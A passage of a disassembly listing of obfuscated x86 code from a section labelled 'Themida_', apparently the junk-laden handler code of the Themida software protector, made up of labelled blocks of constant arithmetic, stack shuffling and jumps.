sub eax, 772E6933h
jmp loc_5990E7
; ---------------------------------------------------------------------------
loc_59F586: ; CODE XREF: Themida_:0059F8F2j
or ebp, eax
mov eax, [esp]
add esp, 4
and ebp, 429E1D6Ch
push eax
mov eax, 6BF3B52h
xor ebp, eax
pop eax
jmp loc_592BD9
; ---------------------------------------------------------------------------
loc_59F5A5: ; CODE XREF: Themida_:0058F2A0j
pop esi
push ecx
push esi
push 4DC2527Ch
pop esi
push esi
not dword ptr [esp]
pop esi
add esi, 7E5B1F43h
xor esi, 3098CCC4h
push esi
jmp loc_5938DF
; ---------------------------------------------------------------------------
loc_59F5C5: ; CODE XREF: Themida_:0059479Fj
add bl, cl
pop cx
push ax
mov al, 0ECh
add bl, 5Eh
add bl, al
jmp loc_59CF58
; ---------------------------------------------------------------------------
loc_59F5D7: ; CODE XREF: Themida_:00591A51j
pop edi
push ecx
mov ecx, 1FDE3EB2h
jmp loc_59B852
; ---------------------------------------------------------------------------
loc_59F5E3: ; CODE XREF: Themida_:00593AE4j
pop ecx
add ecx, 4
push 70E7h
mov [esp], ebx
push 409C7E71h
pop ebx
shr ebx, 8
or ebx, 0C35213Fh
xor ebx, 7C17BCE9h
jmp loc_592C42
; ---------------------------------------------------------------------------
loc_59F60C: ; CODE XREF: Themida_:0058F1CAj
push dword ptr [esp]
pop edx
add esp, 4
push 65F0h
mov [esp], edx
jmp loc_591C1F
; ---------------------------------------------------------------------------
loc_59F623: ; CODE XREF: Themida_:005A2651j
shr ebp, 8
jmp loc_5A2AD6
; ---------------------------------------------------------------------------
loc_59F62B: ; CODE XREF: Themida_:0058EDBCj
sub ebx, ecx
push ebp
jmp loc_5A2723
; ---------------------------------------------------------------------------
loc_59F633: ; DATA XREF: Themida_:0058E0BCo
push dword ptr [esp]
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 6DD6h
mov [esp], ebp
mov ebp, esp
push 1753h
mov [esp], ecx
mov ecx, 4
jmp loc_5A3036
; ---------------------------------------------------------------------------
loc_59F666: ; CODE XREF: Themida_:005A0A04j
xor ebx, eax
mov dx, [esp]
push ebp
push esp
jmp loc_593EE9
; ---------------------------------------------------------------------------
loc_59F673: ; CODE XREF: Themida_:0059B97Bj
mov [esp], edx
push eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59F67D: ; CODE XREF: Themida_:005971ADj
pop esi
pop dword ptr [esp]
jmp loc_596E87
; ---------------------------------------------------------------------------
loc_59F686: ; CODE XREF: Themida_:005A17CDj
add ebp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_59E71B
; ---------------------------------------------------------------------------
loc_59F6A3: ; CODE XREF: Themida_:005A0BCFj
pop esp
push eax
sub esp, 4
mov [esp], ecx
jmp loc_596DE4
; ---------------------------------------------------------------------------
loc_59F6B3: ; CODE XREF: Themida_:00593798j
mov ecx, 3CA80F02h
add ecx, eax
pop eax
jmp loc_598C2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_59F6C0: ; CODE XREF: sub_591554+BB6Aj
mov ebx, 722D70DAh
sub eax, ebx
jmp loc_58F86C
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_59F6CC: ; CODE XREF: Themida_:0059D68Aj
mov ecx, 13F6752Ah
jmp loc_58E98A
; ---------------------------------------------------------------------------
loc_59F6D6: ; CODE XREF: Themida_:0059ABD6j
push ebp
jmp loc_59854F
; ---------------------------------------------------------------------------
loc_59F6DC: ; CODE XREF: Themida_:0059B102j
pop eax
push ebx
mov bl, ch
mov ah, bl
pop ebx
pop ecx
jmp loc_59C38D
; ---------------------------------------------------------------------------
loc_59F6E9: ; CODE XREF: Themida_:005A0CBAj
pop esp
jmp loc_594A85
; ---------------------------------------------------------------------------
loc_59F6EF: ; CODE XREF: Themida_:0059691Bj
mov eax, 1
jmp loc_5973E0
; ---------------------------------------------------------------------------
loc_59F6F9: ; CODE XREF: Themida_:00592E75j
add dword ptr [esp], 4
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_59AD92
; ---------------------------------------------------------------------------
loc_59F711: ; CODE XREF: Themida_:005973BEj
pop esi
xchg eax, [esp]
jmp loc_5A24FA
; ---------------------------------------------------------------------------
loc_59F71A: ; CODE XREF: Themida_:00593BE1j
push ecx
jmp loc_5A0C76
; ---------------------------------------------------------------------------
loc_59F720: ; CODE XREF: Themida_:0059B1DAj
add ecx, ebx
pop ebx
jmp loc_598E6D
; ---------------------------------------------------------------------------
loc_59F728: ; CODE XREF: Themida_:005A2BCBj
and ebx, edx
pop edx
and ebx, 1FB631BAh
shr ebx, 2
shl ebx, 7
xor ebx, 40801400h
mov ecx, ebx
jmp loc_58EADE
; ---------------------------------------------------------------------------
loc_59F744: ; CODE XREF: Themida_:0059900Ej
sub esp, 4
mov [esp], ecx
pop ebx
jmp loc_59B040
; ---------------------------------------------------------------------------
loc_59F753: ; CODE XREF: Themida_:00597A47j
xor ebp, [esp]
xor [esp], ebp
jmp loc_593310
; ---------------------------------------------------------------------------
loc_59F75E: ; CODE XREF: Themida_:0059D6D8j
sub ebp, 7BE5B25Eh
add ebx, ebp
pop ebp
push edi
mov edi, 4
add ebx, edi
pop edi
xor ebx, [esp]
xor [esp], ebx
jmp loc_597CAA
; ---------------------------------------------------------------------------
loc_59F77B: ; CODE XREF: Themida_:0059968Aj
mov edx, [esp]
push 4FF2h
mov [esp], edi
push esp
pop edi
push esi
mov esi, 18FF1199h
shl esi, 7
shl esi, 7
push edx
mov edx, 38E673Bh
push edi
mov edi, 150E0F00h
sub edi, 485714EDh
jmp loc_58E90C
; ---------------------------------------------------------------------------
loc_59F7AB: ; CODE XREF: Themida_:005983F9j
push dword ptr [esp]
pop edi
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59F7CA: ; CODE XREF: Themida_:00596AAEj
mov edx, 4
add ecx, edx
pop edx
push esi
mov esi, 4
sub ecx, esi
pop esi
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
push esi
mov esi, esp
jmp loc_5925AD
; ---------------------------------------------------------------------------
loc_59F7EE: ; CODE XREF: Themida_:00595DEEj
or ebp, 6FC12F93h
add ebp, 0B4E2EFAh
jmp loc_59EAF3
; ---------------------------------------------------------------------------
loc_59F7FF: ; CODE XREF: Themida_:005936EFj
push ebp
mov ebp, 4
add esi, ebp
pop ebp
push 75F3h
mov [esp], ecx
jmp loc_59E87E
; ---------------------------------------------------------------------------
loc_59F815: ; CODE XREF: Themida_:0059302Bj
mov ebp, 210B399Bh
jmp loc_591FFB
; ---------------------------------------------------------------------------
loc_59F81F: ; CODE XREF: Themida_:0059ECD1j
add ebx, edi
pop edi
jmp loc_59C9E3
; ---------------------------------------------------------------------------
loc_59F827: ; CODE XREF: Themida_:00592AD2j
not esi
jmp loc_5914BF
; ---------------------------------------------------------------------------
loc_59F82E: ; CODE XREF: Themida_:0058E474j
add esp, 4
mov ebx, [esp]
push eax
mov eax, esp
push ebx
jmp loc_59B888
; ---------------------------------------------------------------------------
loc_59F83D: ; DATA XREF: Themida_:0058E080o
mov cx, [esp]
sub esp, 4
jmp loc_59568D
; ---------------------------------------------------------------------------
loc_59F849: ; CODE XREF: Themida_:0059D7F4j
pop ebx
push ebx
mov bh, al
mov cl, bh
pop ebx
mov eax, [esp]
add esp, 4
push 6BCh
mov [esp], edx
jmp loc_592D54
; ---------------------------------------------------------------------------
loc_59F863: ; CODE XREF: Themida_:00596261j
shl ebx, 2
push edx
jmp loc_599A09
; ---------------------------------------------------------------------------
loc_59F86C: ; CODE XREF: Themida_:0059D4B9j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 50B6h
mov [esp], edx
jmp loc_59178B
; ---------------------------------------------------------------------------
loc_59F882: ; CODE XREF: Themida_:0058E97Aj
mov [esp], ebp
jmp loc_595506
; ---------------------------------------------------------------------------
loc_59F88A: ; CODE XREF: Themida_:00599678j
add esp, 4
add edi, 0FFFFFFFFh
push ebp
mov ebp, 7FC42D93h
sub edi, ebp
mov ebp, [esp]
add esp, 4
and eax, edi
push dword ptr [esp]
mov edi, [esp]
push 710Eh
mov [esp], ecx
push esp
pop ecx
push eax
jmp loc_59AF8B
; ---------------------------------------------------------------------------
loc_59F8B9: ; CODE XREF: Themida_:0059960Cj
add ebp, edi
jmp loc_59C3A9
; ---------------------------------------------------------------------------
loc_59F8C0: ; CODE XREF: Themida_:00590393j
pop eax
pop esi
or edx, eax
mov eax, [esp]
add esp, 4
xor edx, 4626D37Ah
xor ecx, edx
pop edx
push edi
mov edi, 24F63685h
jmp loc_59A0B6
; ---------------------------------------------------------------------------
loc_59F8E1: ; CODE XREF: Themida_:0059D2C8j
xor esi, [esp]
pop esp
div ecx
jmp loc_58EA55
; ---------------------------------------------------------------------------
loc_59F8EC: ; CODE XREF: Themida_:005A163Ej
push eax
mov eax, 41924E1Fh
jmp loc_59F586
; ---------------------------------------------------------------------------
loc_59F8F7: ; CODE XREF: Themida_:00598D2Ej
and ebp, 5EFF1889h
xor ebp, 490878B2h
xor ebp, 0BB3EBE39h
jmp loc_59A1D9
; ---------------------------------------------------------------------------
loc_59F90E: ; CODE XREF: Themida_:0059176Aj
xchg esi, [esp]
jmp loc_59DE66
; ---------------------------------------------------------------------------
loc_59F916: ; CODE XREF: Themida_:0059CB90j
mov edx, 4
jmp loc_5919B7
; ---------------------------------------------------------------------------
loc_59F920: ; CODE XREF: Themida_:0059990Aj
neg ebp
add ebp, 24C868E7h
add ebx, ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop edx
push ebx
push 5772h
mov [esp], esp
push esi
jmp loc_5A2B13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_59F94A: ; CODE XREF: sub_59233E+DDC0j
pop ebx
sub ebx, esi
pop esi
sub ebx, 61E73299h
sub ebx, 5A13A3Dh
sub ebx, eax
add ebx, 5A13A3Dh
push edx
jmp loc_591F86
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_59F968: ; CODE XREF: Themida_:0059118Ej
mov edi, 71C46B2Eh
mov eax, 75E972BFh
sub eax, edi
jmp loc_59A161
; ---------------------------------------------------------------------------
loc_59F979: ; CODE XREF: Themida_:0059F07Cj
push ebx
mov ebx, 4
add eax, ebx
pop ebx
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push edi
push 774F4735h
pop edi
or edi, 31551086h
push ebx
mov ebx, 19185B48h
sub ebx, 0B7DF8292h
sub edi, ebx
jmp loc_5984AE
; ---------------------------------------------------------------------------
loc_59F9AB: ; CODE XREF: Themida_:00592600j
push ebp
pop ebx
mov ebp, [esp]
add esp, 4
add ebp, ebx
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_5A1CF1
; ---------------------------------------------------------------------------
loc_59F9CE: ; CODE XREF: Themida_:0059E074j
add edx, esi
pop esi
push ecx
push 2
pop ecx
add edx, 1F67B89h
sub edx, ecx
jmp loc_59CF91
; ---------------------------------------------------------------------------
loc_59F9E5: ; CODE XREF: Themida_:005920C2j
mov ebx, [esp]
add esp, 4
add edx, ecx
sub edx, 5FEB01EFh
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
pop esp
and [esp], al
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59FA09: ; CODE XREF: Themida_:0059A5F7j
neg edi
sub edi, 12AF3B2Fh
sub esp, 4
mov [esp], ebx
mov ebx, 6A4A5AF7h
sub edi, ebx
pop ebx
jmp loc_599D68
; ---------------------------------------------------------------------------
loc_59FA27: ; CODE XREF: Themida_:00591F74j
or ecx, 385858E8h
push esi
mov esi, 6AEF1593h
add esi, 1F461A2Eh
and esi, 43EC4686h
or esi, 441338F8h
xor esi, 1EB94965h
jmp loc_59B716
; ---------------------------------------------------------------------------
loc_59FA50: ; CODE XREF: Themida_:0059B36Ej
pop edi
mov edi, [esp]
push esi
mov esi, esp
push edi
mov edi, 4
add esi, edi
pop edi
add esi, 4
sub esp, 4
jmp loc_59C122
; ---------------------------------------------------------------------------
loc_59FA6E: ; CODE XREF: Themida_:0059CD76j
add esp, 4
add esi, 649F2000h
push ebx
mov ebx, 4A1A3A8Bh
inc ebx
inc ebx
jmp loc_5A0EE8
; ---------------------------------------------------------------------------
loc_59FA87: ; CODE XREF: Themida_:0059BDACj
mov esi, [esp]
add esp, 4
add esi, 38D16270h
push esi
pop eax
jmp loc_5A15E7
; ---------------------------------------------------------------------------
loc_59FA9D: ; CODE XREF: Themida_:0059A18Ej
push ecx
jmp loc_59D2A4
; ---------------------------------------------------------------------------
loc_59FAA3: ; CODE XREF: Themida_:0058ED6Aj
xor ebx, 20ED749Fh
shl ebx, 8
xor ebx, 1C71650Ch
jmp loc_593CE3
; ---------------------------------------------------------------------------
loc_59FAB7: ; CODE XREF: Themida_:0058F94Aj
push 1D5h
mov [esp], edi
jmp loc_594BC6
; ---------------------------------------------------------------------------
loc_59FAC4: ; CODE XREF: Themida_:00594BCFj
add ebx, edi
jmp loc_592F16
; ---------------------------------------------------------------------------
loc_59FACB: ; CODE XREF: Themida_:0059B0D5j
pop esi
push ebx
mov bx, 345Bh
jmp loc_598713
; ---------------------------------------------------------------------------
loc_59FAD6: ; CODE XREF: Themida_:00599F35j
mov ebp, esp
jmp loc_5A215D
; ---------------------------------------------------------------------------
loc_59FADD: ; CODE XREF: Themida_:0059E3FAj
push esp
jmp loc_598B9E
; ---------------------------------------------------------------------------
loc_59FAE3: ; CODE XREF: Themida_:005985CAj
push ebx
mov ebx, 4F6C127Ch
add eax, 5BED2903h
add eax, ebx
jmp loc_5A1A6B
; ---------------------------------------------------------------------------
loc_59FAF5: ; CODE XREF: Themida_:0059EE0Fj
push esi
sub dword ptr [esp], 42EE291Dh
pop ebx
add ebx, 42EE291Dh
jmp loc_58F3DB
; ---------------------------------------------------------------------------
loc_59FB09: ; CODE XREF: Themida_:00590ED2j
push esp
jmp loc_5A2A57
; ---------------------------------------------------------------------------
loc_59FB0F: ; CODE XREF: Themida_:0059698Ej
push edx
jmp loc_59EF91
; ---------------------------------------------------------------------------
loc_59FB15: ; CODE XREF: Themida_:00594E17j
mov esi, 4FBC42BAh
and esi, 18A02D7Bh
sub esi, 0CCDA9FB3h
mov eax, esi
jmp loc_5929AB
; =============== S U B R O U T I N E =======================================
sub_59FB2D proc near ; DATA XREF: Themida_:0058E130o
mov esp, [esp+0]
jmp loc_58E353
sub_59FB2D endp
; ---------------------------------------------------------------------------
loc_59FB35: ; CODE XREF: Themida_:005924BCj
xor ebp, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59FB44: ; DATA XREF: Themida_:0058E094o
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], edx
push esp
jmp loc_596E07
; ---------------------------------------------------------------------------
loc_59FB57: ; CODE XREF: Themida_:0058EE4Dj
sub ebp, edi
sub ebp, 554F4EFFh
push ebp
pop edi
mov ebp, [esp]
add esp, 4
push eax
mov eax, 0
jmp loc_59551F
; ---------------------------------------------------------------------------
loc_59FB75: ; CODE XREF: Themida_:005978E9j
mov edx, 4
sub eax, edx
pop edx
push eax
jmp loc_598C5F
; ---------------------------------------------------------------------------
loc_59FB83: ; CODE XREF: Themida_:005958CEj
mov edx, [esp]
add esp, 4
shl ecx, 1
push ebx
mov ebx, 3BEDE84h
xor ecx, ebx
pop ebx
add ebx, ecx
jmp loc_590D42
; ---------------------------------------------------------------------------
loc_59FB9E: ; CODE XREF: Themida_:005989F0j
add esp, 4
jmp loc_5A251C
; ---------------------------------------------------------------------------
loc_59FBA6: ; CODE XREF: Themida_:005A13D7j
mov dl, bh
jmp loc_59A6BA
; ---------------------------------------------------------------------------
loc_59FBAD: ; CODE XREF: Themida_:0059976Aj
and bh, 0FAh
xor bh, 2Bh
or cl, bh
mov ebx, [esp]
add esp, 4
jmp loc_596A0D
; ---------------------------------------------------------------------------
loc_59FBC3: ; CODE XREF: Themida_:00597CDEj
pop ebx
jmp loc_597EC6
; ---------------------------------------------------------------------------
loc_59FBC9: ; CODE XREF: Themida_:0059A4FAj
shl ah, 2
add ah, 4Eh
sub dh, 58h
jmp loc_598677
; ---------------------------------------------------------------------------
loc_59FBD7: ; CODE XREF: Themida_:0059AC87j
push edi
mov edi, 19336D3Bh
or edi, 6C6E6C5Eh
jmp loc_5943FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59FBE8: ; CODE XREF: sub_590877+457Dj
add eax, 4
push edi
mov edi, 2
sub eax, edi
pop edi
push eax
push dword ptr [esp+4]
jmp loc_598F3A
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59FC00: ; CODE XREF: Themida_:0059D0E3j
push ebx
push edi
push ebp
mov ebp, 221F1B88h
jmp loc_59DDC7
; ---------------------------------------------------------------------------
loc_59FC0D: ; CODE XREF: Themida_:005937ACj
add esp, 4
push ecx
push edx
jmp loc_59BE48
; ---------------------------------------------------------------------------
loc_59FC1A: ; CODE XREF: Themida_:0059D0ECj
push cx
sub byte ptr [esp], 0FFh
jmp loc_59996A
; ---------------------------------------------------------------------------
loc_59FC25: ; CODE XREF: Themida_:0059DE4Dj
inc eax
or eax, 3191535Dh
jmp loc_592BAD
; ---------------------------------------------------------------------------
loc_59FC30: ; CODE XREF: Themida_:005996F0j
mov eax, [esp]
add esp, 4
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59B38E
; ---------------------------------------------------------------------------
loc_59FC50: ; CODE XREF: Themida_:0059E22Fj
sub ebx, 733177FFh
jmp loc_59973C
; ---------------------------------------------------------------------------
loc_59FC5B: ; CODE XREF: Themida_:00596531j
mov esi, 4CE100D8h
dec esi
xor esi, 2636EE7h
jmp loc_5954F3
; ---------------------------------------------------------------------------
loc_59FC6C: ; CODE XREF: Themida_:005998BBj
push ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_59A87E
; ---------------------------------------------------------------------------
loc_59FC84: ; CODE XREF: Themida_:00597B69j
xor [esp], ecx
push dword ptr [esp]
jmp loc_59E178
; ---------------------------------------------------------------------------
loc_59FC8F: ; CODE XREF: Themida_:0059E381j
add ebp, edx
pop edx
jmp loc_594F7D
; ---------------------------------------------------------------------------
loc_59FC97: ; CODE XREF: Themida_:00597570j
mov [esp], ecx
mov ecx, 21149D31h
xor edi, ecx
pop ecx
xor eax, edi
pop edi
xor eax, 10F30232h
and edx, eax
pop eax
add edx, 0FFFFFFFFh
xor edx, 253B56CBh
jmp loc_59294C
; ---------------------------------------------------------------------------
loc_59FCBB: ; CODE XREF: Themida_:0058FCC5j
and esi, 39CC29F5h
jmp loc_5A12C0
; ---------------------------------------------------------------------------
loc_59FCC6: ; CODE XREF: Themida_:005A307Fj
push ax
sub esp, 2
mov [esp], dx
jmp loc_5921B0
; ---------------------------------------------------------------------------
loc_59FCD4: ; CODE XREF: Themida_:005A2EA8j
push ebx
xor dword ptr [esp], 532124CAh
pop edi
jmp loc_5A0A17
; ---------------------------------------------------------------------------
loc_59FCE2: ; CODE XREF: Themida_:0058EEF9j
pop ecx
sub [esp+4], eax
mov eax, [esp]
add esp, 4
jmp loc_5A0BC3
; ---------------------------------------------------------------------------
loc_59FCF5: ; CODE XREF: Themida_:00591ECBj
pop esp
mov [esp], cx
jmp loc_58E353
; =============== S U B R O U T I N E =======================================
sub_59FCFF proc near ; CODE XREF: sub_596B96+C1AAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058E5AA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E678 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059002C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590784 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592346 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005929DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593A0D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00598AA1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A319 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C57C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CC29 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059D483 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A0BA3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A1570 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, esp
add edi, 4
sub esp, 4
mov [esp+8+var_8], ecx
mov ecx, 0D5A6A9Ch
neg ecx
and ecx, 300F1115h
push ecx
xchg ecx, [esp+0Ch+var_C]
not ecx
jmp loc_593A0D
sub_59FCFF endp
; ---------------------------------------------------------------------------
loc_59FD31: ; CODE XREF: Themida_:00595F89j
mov [eax], bl
pop eax
pop edx
mov ebx, [esp]
jmp loc_599B6C
; ---------------------------------------------------------------------------
loc_59FD3D: ; CODE XREF: Themida_:0059AC5Fj
push ebp
mov ebp, 4FAF63BBh
jmp loc_58E3C0
; ---------------------------------------------------------------------------
loc_59FD48: ; CODE XREF: Themida_:00591A79j
mov ebp, 6AB1623h
xor ebp, edx
jmp loc_590473
; ---------------------------------------------------------------------------
loc_59FD54: ; CODE XREF: Themida_:0059DE32j
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
sub edi, esi
jmp loc_5977AC
; ---------------------------------------------------------------------------
loc_59FD6A: ; CODE XREF: Themida_:00592794j
push 2CA5h
mov [esp], ecx
mov ecx, 4
add edx, ecx
pop ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], edx
push dword ptr [esp+4]
jmp loc_592569
; ---------------------------------------------------------------------------
loc_59FD97: ; CODE XREF: Themida_:0059AB4Cj
push edx
jmp loc_597F7F
; ---------------------------------------------------------------------------
loc_59FD9D: ; CODE XREF: Themida_:005927A9j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_59752B
; ---------------------------------------------------------------------------
loc_59FDAA: ; CODE XREF: Themida_:0059B930j
pop ebp
mov ecx, ebp
jmp loc_594A14
; ---------------------------------------------------------------------------
loc_59FDB2: ; CODE XREF: Themida_:0059BAD7j
push edx
jmp loc_5958C7
; ---------------------------------------------------------------------------
loc_59FDB8: ; CODE XREF: Themida_:0059D45Fj
xchg ebp, [esp]
jmp loc_5A161A
; ---------------------------------------------------------------------------
loc_59FDC0: ; CODE XREF: Themida_:005A2228j
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
jmp loc_5935C0
; ---------------------------------------------------------------------------
loc_59FDD2: ; CODE XREF: Themida_:005A2B54j
add esp, 4
add al, 0E9h
sub al, 0DCh
add al, dh
add al, 0DCh
push small 4823h
jmp loc_595E98
; ---------------------------------------------------------------------------
loc_59FDE9: ; CODE XREF: Themida_:00595FBBj
mov ecx, 499A59BBh
xor ebp, ecx
pop ecx
push esi
jmp loc_5A019E
; ---------------------------------------------------------------------------
loc_59FDF7: ; CODE XREF: Themida_:005902C7j
xor eax, ebx
pop ebx
sub esp, 4
mov [esp], edi
push 82806EBh
jmp loc_59E944
; ---------------------------------------------------------------------------
loc_59FE0D: ; CODE XREF: Themida_:00599EF1j
mov eax, [esp]
jmp loc_59B7BA
; ---------------------------------------------------------------------------
loc_59FE15: ; CODE XREF: Themida_:00590F8Bj
add ebx, esi
pop esi
mov eax, ebx
pop ebx
add esi, eax
pop eax
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
sub edi, esi
jmp loc_590B3C
; ---------------------------------------------------------------------------
loc_59FE34: ; CODE XREF: Themida_:005A1DA9j
mov ebx, [esp]
add esp, 4
jmp loc_596F27
; ---------------------------------------------------------------------------
loc_59FE42: ; CODE XREF: Themida_:00592D09j
and eax, 390243D2h
shr eax, 7
not eax
and eax, 3E5222DCh
xor eax, 3E502258h
add ebx, eax
pop eax
xchg ebx, [esp]
pop esp
mov ecx, 651E13A3h
xor ecx, eax
mov eax, [esp]
add esp, 4
and eax, ecx
mov ecx, [esp]
jmp loc_5988A6
; ---------------------------------------------------------------------------
loc_59FE77: ; CODE XREF: Themida_:0059CA32j
mov [esp], eax
mov eax, esp
push 392Eh
mov [esp], edx
jmp loc_591081
; ---------------------------------------------------------------------------
loc_59FE89: ; CODE XREF: Themida_:00594D43j
mov esi, [esp]
add esp, 4
push edx
mov edx, 39060E5Fh
dec edx
sub edx, 0FB9F925Dh
add eax, 523F2131h
add eax, edx
jmp loc_5A05B2
; ---------------------------------------------------------------------------
loc_59FEA8: ; CODE XREF: Themida_:005907DEj
test cl, al
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59FEB0: ; DATA XREF: Themida_:0058E10Co
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_59ECD6
; ---------------------------------------------------------------------------
loc_59FEC0: ; CODE XREF: Themida_:005A06FDj
neg eax
jmp loc_5A2782
; ---------------------------------------------------------------------------
loc_59FEC7: ; CODE XREF: Themida_:005A18C1j
add edx, ebp
pop ebp
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_595339
; ---------------------------------------------------------------------------
loc_59FEDB: ; CODE XREF: Themida_:00599F2Cj
pop eax
sub bl, dl
pop edx
jmp loc_59B528
; ---------------------------------------------------------------------------
loc_59FEE4: ; CODE XREF: Themida_:005A2A8Fj
inc ebp
jmp loc_59176F
; ---------------------------------------------------------------------------
loc_59FEEA: ; CODE XREF: Themida_:005A26F3j
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_59D937
; ---------------------------------------------------------------------------
loc_59FEFB: ; CODE XREF: Themida_:005A1E46j
push ecx
mov ecx, 4
add eax, ecx
jmp loc_5916A8
; ---------------------------------------------------------------------------
loc_59FF08: ; CODE XREF: Themida_:0058FE48j
sub ah, dh
push dword ptr [esp]
pop edx
add esp, 4
mov ch, ah
pop eax
sub ch, 42h
sub esp, 4
mov [esp], eax
mov ah, ch
mov dh, ah
pop eax
jmp loc_597E62
; ---------------------------------------------------------------------------
mov ax, [esp]
push 1E47h
mov [esp], ebp
push 4560h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push 0C42h
mov [esp], edx
push eax
push ecx
push edx
mov edx, 678542F9h
jmp loc_5993E9
; ---------------------------------------------------------------------------
loc_59FF5B: ; CODE XREF: Themida_:00599876j
mov edi, 4B43081Fh
sub edx, 1AA842DAh
sub edx, edi
add edx, 1AA842DAh
jmp loc_59E6F5
; ---------------------------------------------------------------------------
loc_59FF73: ; CODE XREF: Themida_:0059C467j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
push esp
pop ebx
push 2EDBh
jmp loc_596E93
; ---------------------------------------------------------------------------
loc_59FF88: ; CODE XREF: Themida_:0059986Bj
mov [esp], edx
mov edx, 27FF10DDh
inc edx
jmp loc_59D119
; ---------------------------------------------------------------------------
loc_59FF96: ; CODE XREF: Themida_:005A21C0j
push edx
mov dl, 0ECh
jmp loc_59A6B0
; ---------------------------------------------------------------------------
loc_59FF9E: ; CODE XREF: Themida_:005907D8j
pop eax
push eax
push edx
push ebx
mov bl, 0A0h
push eax
mov al, bl
mov dh, al
jmp loc_590345
; ---------------------------------------------------------------------------
loc_59FFAE: ; CODE XREF: Themida_:00597836j
push edi
push 4
pop edi
sub ecx, 0D34763Eh
sub ecx, edi
add ecx, 0D34763Eh
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_59DD9B
; ---------------------------------------------------------------------------
loc_59FFD8: ; CODE XREF: Themida_:0058F1D6j
mov [esp], edx
push 4
pop edx
add esi, edx
jmp loc_599044
; ---------------------------------------------------------------------------
loc_59FFE8: ; CODE XREF: Themida_:00598318j
pop edx
add esp, 4
add al, cl
mov ecx, [esp]
jmp loc_59306F
; ---------------------------------------------------------------------------
loc_59FFF6: ; CODE XREF: Themida_:0059992Ej
xor eax, ebx
jmp loc_59F1D4
; ---------------------------------------------------------------------------
loc_59FFFD: ; CODE XREF: Themida_:00593472j
push edi
push edx
mov edx, 740A4E26h
mov edi, edx
mov edx, [esp]
jmp loc_595E8A
; ---------------------------------------------------------------------------
loc_5A000E: ; CODE XREF: Themida_:005964D8j
push ecx
mov cl, 0F4h
jmp loc_59608A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5A0016: ; CODE XREF: sub_59DA2F-27C7j
add al, ch
jmp loc_59CF1A
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5A001D: ; CODE XREF: Themida_:00595B0Aj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A0022: ; CODE XREF: Themida_:00591CCAj
pop edx
jmp loc_5994AE
; ---------------------------------------------------------------------------
loc_5A0028: ; CODE XREF: Themida_:0058F4B2j
shl ebp, 8
jmp loc_595FBA
; ---------------------------------------------------------------------------
loc_5A0030: ; CODE XREF: Themida_:0059DB12j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
